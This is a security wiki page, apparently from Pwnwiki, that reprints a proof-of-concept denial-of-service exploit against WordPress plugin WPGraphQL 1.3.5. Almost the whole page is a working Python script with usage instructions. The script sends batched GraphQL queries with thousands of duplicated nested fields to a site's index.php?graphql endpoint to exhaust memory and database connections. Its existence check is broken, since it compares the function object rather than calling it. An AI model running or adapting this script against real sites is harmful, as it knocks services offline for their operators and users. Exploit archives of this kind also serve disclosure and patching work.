Pwnwiki: Created page with "==EXP==

 # Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service  # Author: Dolev Farhi # Date: 2021-04-12 # Vendor Homepage: https://www.wpgraphql.com/ # V..."

2021-04-27T11:44:54Z

Created page with "==EXP== <pre> # Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service # Author: Dolev Farhi # Date: 2021-04-12 # Vendor Homepage: https://www.wpgraphql.com/ # V..."

New page

==EXP==
<pre>
# Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service
# Author: Dolev Farhi
# Date: 2021-04-12
# Vendor Homepage: https://www.wpgraphql.com/
# Version: 1.3.5
# Tested on: Ubuntu

"""
This attack uses duplication of fields amplified by GraphQL batched queries, resulting in server OOM and MySQL connection errors.
"""

import sys
import requests

def usage():
print('* WordPress GraphQL 1.3.5 Denial of Service *')
print('python {} <wordpress_url> <number_of_field_duplications> <number_of_chained_queries>'.format(sys.argv[0]))
print('python {} http://site.com 10000 100'.format(sys.argv[0]))
sys.exit(1)

if len(sys.argv) < 4:
print('Missing arguments!')
usage()

def wpgql_exists():
try:
r = requests.post(WORDPRESS_URL, json='x')
if 'GraphQL' in r.json()['errors'][0]['message']:
return True
except:
pass
return False

# This PoC assumes graphql is located at index.php?graphql
WORDPRESS_URL = sys.argv[1] + '/index.php?graphql'
FORCE_MULTIPLIER = int(sys.argv[2])
CHAINED_REQUESTS = int(sys.argv[3])

if wpgql_exists is False:
print('Could not identify GraphQL running at "/index.php?graphql"')
sys.exit(1)

queries = []

payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}

for _ in range(0, CHAINED_REQUESTS):
queries.append(query)

r = requests.post(WORDPRESS_URL, json=queries)
print('Time took: {} seconds '.format(r.elapsed.total_seconds()))
print('Response:', r.json())

</pre>

WordPress Plugin WPGraphQL 1.3.5 拒絕服務漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
# Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service # Author: Dolev Farhi # Date: 2021-04-12 # Vendor Homepage: https://www.wpgraphql.com/ # V..."